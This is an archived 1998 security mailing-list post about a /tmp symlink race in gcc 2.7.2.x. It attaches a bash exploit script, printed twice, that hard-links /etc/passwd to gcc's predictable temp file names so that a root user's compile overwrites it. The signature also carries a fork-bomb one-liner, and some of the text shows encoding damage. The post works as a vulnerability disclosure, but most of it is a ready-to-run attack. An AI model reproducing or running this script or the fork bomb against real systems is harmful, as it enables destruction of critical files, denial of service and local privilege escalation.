TUCoPS :: Unix :: General :: gcctmp~1.txt

From: "Michaウ Zalewski" <lcamtuf@boss.staszic.waw.pl>
To: <fyodor@dhp.com>
Cc: <info@rootshell.com>, <crv@oliver.efri.hr>
Subject: GCC and /tmp
Date: 1998年1月16日 18:58:53 +0100
Try this. Launch it as a unprivledged user in background (screen?), then,
as a root, try to compile any file or project using gcc (eg. typical
daemon, service, client), and watch out your /etc/passwd (or any other
vital file, eg. /dev/kmem, /dev/hda). Attached exploit is an improved
version of that one I previously posted onto BUGTRAQ (yesterday).
It's also possible to overwrite other user's files (if only he/she
uses gcc occassionally), system logs etc.
Vunerable platforms: any running gcc 2.7.2.x
Compromise: overwriting files, maybe root; exploitable locally.
_______________________________________________________________________
Michaウ Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.pl]
Iterowa? jest rzeczア ludzkア, wykonywa? rekursywnie - boskア [P. De=
ustch]
=--------- [ echo "while [ -f \0ドル ]; do \0ドル &;done" >_;. _ ] ---------=
------=_NextPart_000_004B_01BD22B0.CAE78180
Content-Type: APPLICATION/OCTET-STREAM; NAME=gcc-exploit-2
Content-ID: <Pine.LNX.3.95.980118024921.1696D@dhp.com>
Content-Description: 
#!/bin/bash
# Simple GCC exploit (tested under 2.7.2.3.f.1)
# - by Michal Zalewski (lcamtuf@staszic.waw.pl)
# ---------------------------------------------
# Usage: "screen ./gcc_ln" then Ctrl+A,D
# ---------------------------------------------
# Ugh, blah... Should be written in C for
# better performance, but I have no time :)
VICTIM=/etc/passwd
if [ ! -f $VICTIM ]; then
 echo "I can't see my vict
bb5
im ($VICTIM)..."
 exit 0
fi
ORIG=`ls -l $VICTIM|awk '{print \5ドル}'`
echo "GCC exploit launched against $VICTIM ($ORIG bytes)."
renice +20 $PPID >&/dev/null
cd /tmp
while [ 1 ]; do
 V=`ls cc*.i 2>/dev/null|cut -f 1 -d "."`
 
 if [ ! "$V" = "" ]; then
 ln $VICTIM ${V}.s &>/dev/null
 ln $VICTIM ${V}1.o &>/dev/null
 NOWY=`ls -l $VICTIM|awk '{print \5ドル}'`
 if [ "$ORIG" = "$NOWY" ]; then
 echo -n "."
 rm -f ${V}.s ${V}1.o &>/dev/null
 else
 echo "Voila. I'm so smart."
 rm -f ${V}.s ${V}1.o &>/dev/null
 exit 0
 fi
 fi
done
------=_NextPart_000_004B_01BD22B0.CAE78180--
#!/bin/bash
# Simple GCC exploit (tested under 2.7.2.3.f.1)
# - by Michal Zalewski (lcamtuf@staszic.waw.pl)
# ---------------------------------------------
# Usage: "screen ./gcc_ln" then Ctrl+A,D
# ---------------------------------------------
# Ugh, blah... Should be written in C for
# better performance, but I have no time :)
VICTIM=/etc/passwd
if [ ! -f $VICTIM ]; then
 echo "I can't see my victim ($VICTIM)..."
 exit 0
fi
ORIG=`ls -l $VICTIM|awk '{print \5ドル}'`
echo "GCC exploit launched against $VICTIM ($ORIG bytes)."
renice +20 $PPID >&/dev/null
cd /tmp
while [ 1 ]; do
 V=`ls cc*.i 2>/dev/null|cut -f 1 -d "."`
 
 if [ ! "$V" = "" ]; then
 ln $VICTIM ${V}.s &>/dev/null
 ln $VICTIM ${V}1.o &>/dev/null
 NOWY=`ls -l $VICTIM|awk '{print \5ドル}'`
 if [ "$ORIG" = "$NOWY" ]; then
 echo -n "."
 rm -f ${V}.s ${V}1.o &>/dev/null
 else
 echo "Voila. I'm so smart."
 rm -f ${V}.s ${V}1.o &>/dev/null
 exit 0
 fi
 fi
done